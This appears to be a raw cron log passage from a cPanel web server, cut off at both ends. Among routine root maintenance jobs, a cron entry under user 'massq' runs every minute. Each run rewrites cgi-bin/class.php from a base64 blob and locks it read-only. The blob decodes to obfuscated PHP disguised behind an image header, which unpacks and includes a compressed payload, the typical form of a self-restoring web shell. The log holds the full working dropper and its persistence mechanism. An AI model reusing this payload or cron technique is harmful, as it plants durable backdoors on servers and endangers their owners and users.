pGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 00:13:01 server CROND[18520]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 00:13:01 server CROND[18521]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 00:14:01 server CROND[18889]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 00:14:01 server CROND[18890]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 00:14:01 server CROND[18891]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 00:15:01 server CROND[19281]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 00:15:01 server CROND[19282]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 00:15:01 server CROND[19285]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 00:15:01 server CROND[19297]: (root) CMD (/usr/local/cpanel/scripts/autorepair recoverymgmt >/dev/null 2>&1)
Sep 10 00:15:01 server CROND[19295]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 00:15:01 server CROND[19299]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep 10 00:15:01 server CROND[19288]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 00:15:01 server CROND[19298]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 00:15:01 server CROND[19296]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep 10 00:15:01 server CROND[19294]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 00:16:01 server CROND[20202]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 00:16:01 server CROND[20203]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 00:16:01 server CROND[20204]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 00:17:01 server CROND[20692]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 00:17:01 server CROND[20695]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 00:17:01 server CROND[20693]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 00:18:01 server CROND[21091]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 00:18:01 server CROND[21093]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 00:18:01 server CROND[21092]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 00:19:01 server CROND[21619]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 00:19:01 server CROND[21620]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 00:19:01 server CROND[21621]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 00:20:02 server CROND[21998]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 10 00:20:02 server CROND[21999]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 00:20:02 server CROND[22000]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 00:20:02 server CROND[22001]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 00:20:02 server CROND[22006]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 00:20:02 server CROND[22005]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 00:20:02 server CROND[22003]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 00:20:02 server CROND[22007]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 00:20:02 server CROND[22004]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 00:21:01 server CROND[22972]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 00:21:01 server CROND[22971]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 00:21:01 server CROND[22973]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 00:22:01 server CROND[23465]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 00:22:01 server CROND[23466]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 00:22:01 server CROND[23467]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 00:23:01 server CROND[23838]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 00:23:01 server CROND[23840]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 00:23:01 server CROND[23839]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 00:24:01 server CROND[24233]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 00:24:01 server CROND[24234]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 00:24:01 server CROND[24235]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 00:25:01 server CROND[24607]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 00:25:01 server CROND[24609]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 00:25:01 server CROND[24610]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 00:25:01 server CROND[24611]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 00:25:01 server CROND[24615]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep 10 00:25:01 server CROND[24612]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 00:25:01 server CROND[24618]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 00:25:01 server CROND[24617]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9J